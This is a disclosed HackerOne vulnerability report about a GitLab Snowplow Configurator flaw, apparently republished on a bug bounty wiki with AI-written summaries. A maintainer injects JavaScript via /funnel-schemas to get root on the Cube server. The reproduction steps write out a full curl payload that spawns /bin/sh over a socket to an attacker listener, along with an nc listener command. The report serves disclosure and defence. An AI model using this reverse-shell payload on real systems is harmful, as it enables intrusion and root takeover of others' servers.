RCE in /funnel-schemas on Snowplow connector allows maintainer to gain root access to Cube server
A project maintainer can send a crafted request to the Snowplow Configurator's /funnel-schemas endpoint, injecting JavaScript that executes commands on the Cube server. This gives the attacker root access to the Cube instance.
GitLab
Originally disclosed on GitLab
- Fixed in 26 days
- Disclosed after 26 days
⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
HackerOne report #2715301 by joaxcar on 2024-09-13, assigned to H1 Triage:
Report | Attachments | How To Reproduce
Report
Summary
When an owner or maintainer of a project configures Product Analytics in a project (docs) the Snowplow Configurator URL will be available to all maintainers on that project. (This is by design, see report #2708083)
There is a command injection in the relation between Snowplow Configurator (this Gitlab-owned project link) and Cube. By sending a specially crafted payload to /funnel-schemas, a malicious user can gain root access to the Cube instance.
Even if a maintainer in GitLab is trusted to access the configurator URL this should not grant that user root access to the underlying infrastructure
Steps to reproduce
Configure Project Analytics
(this config uses my analytic servers on Digitalocean on this IP 159.223.181.253)
- As the victim create a new group with
Ultimate license - Create a new project in the group
- Go to
https://gitlab.com/GROUPNAME/PROJECTNAME/-/settings/analyticsand fill out the form with (Where<IP>is the IP to your droplet)
Snowplow configurator connection string:http://test:[email protected]:4567Collector host:http://159.223.181.253:9091Cube API URL:http://159.223.181.253:4000Cube API key:thisisnotarealkey43ff15165ce01e4ff47d75092e3b25b2c0b20dc27f6cd5a8aed7b7bd855df88c9e0748d7afd37adda6d981c16177b086acf496bbdc62dbb
-
Save the config
-
Go to
http://gitlab.example.com/GROUPNAME/PROJECTNAME/-/analytics/dashboards/and click onSet up, on the next page clickConnect your own provider -
When the connection is successful copy the HTML from the
Using HTML scriptportion -
Go to http://joaxcar.com/utils/build.php and paste the HTML in the code box, click
submitthis will render the html and send a metric to the server -
After a few seconds, it should now be all setup and visiting
http://gitlab.example.com/GROUPNAME/PROJECTNAME/-/analytics/dashboards/should show a list of dashboards -
Now go to
https://gitlab.com/GROUPNAME/PROJECTNAME/-/project_membersand invite a newmaintainerto the project
The attack
10. Start a listener on a public accessible server using
echo "id;ls;env" | nc -l -p 12345
- Log in as the new
maintaineron gitlab - Go to
https://gitlab.com/GROUPNAME/PROJECTNAME/-/settings/analytics - Copy the value from the
Snowplow configuratorfield - Use the value from 13 (the
test:testin the string is username/password) and thePROJECTIDwith your project ID in this command from a terminal. If you want to run the command multiple times just changetest1totest2in both places it occurs.
Make sure to also change the TARGET to the IP of your listener. Dont use http or similar, just the IP
curl -u "test:test" http://159.223.181.253:4567/funnel-schemas -H 'Content-Type: application/json' -d '{
"project_ids": ["gitlab_project_PROJECTID"],
"funnels": [
{"state":"created",
"name": "test1",
"schema": "{\"name\":\"test1\",\"schema\":\"${(function(){var net = require(`net`), cp = require(`child_process`),sh = cp.spawn(`/bin/sh`, []); var client = new net.Socket(); client.connect(12345, `TARGET`, function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })()}gitlab_project_1.snowplow_events\"}"
}
]
}
'
- On the listener you should now get the output from running the commands
id,ls, andenv(the connection will drop but a more robust attack would just download a script and execute it outside the context ofNodeand would persist. But this shows that we arerooton the system
Impact
A malicious maintainer can get RCE with root access to Cube systems
What is the current bug behavior?
There is no sanitization of the schemas stored in Clickhouse by the configurator, which is subsequently used by Cube, allowing for JS command injection.
What is the expected correct behavior?
It should not be possible to gain root access to a Cube instance just by knowing the configurator URL/creds. As this is a secret shared by maintainers. You could also argue that it should not even be possible even if the secret was not shared as the user who gets access to the configurator might not be the same person who is maintaining the Analytics infrastructure. In a normal corporate setting the Ops person setting these things up will probably not be the same person who configures a project in Gitlab
Relevant logs and/or screenshots
Output of checks
This bug happens on GitLab.com
Impact
RCE with root access to Cube system
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the Snowplow Configurator does not sanitise the schema data stored in Clickhouse, which is later used by Cube, allowing JavaScript injection.
Impact
A malicious maintainer can achieve remote code execution with root access to the Cube system.
What the attacker needed
Victim configures Product Analytics; attacker is a project maintainer; attacker knows configurator URL
The fix
The report says schema data should be sanitised and configurator access should not grant root to Cube.
How it was found
- As the victim, create a group with Ultimate license and a new project.
- Configure Product Analytics with the Snowplow configurator URL, collector host, Cube API URL and key.
- Set up dashboards by connecting your own provider and rendering the HTML script.
- Invite a new maintainer to the project.
- As the new maintainer, copy the Snowplow configurator URL from project settings.
- Send a crafted JSON request to the /funnel-schemas endpoint with a malicious schema that executes commands.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A project maintainer is someone who can change settings for a project. The Snowplow Configurator is a service that helps set up analytics. The report shows that a maintainer can send a special request to that service that makes it run commands on the server, giving full control (root access).
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.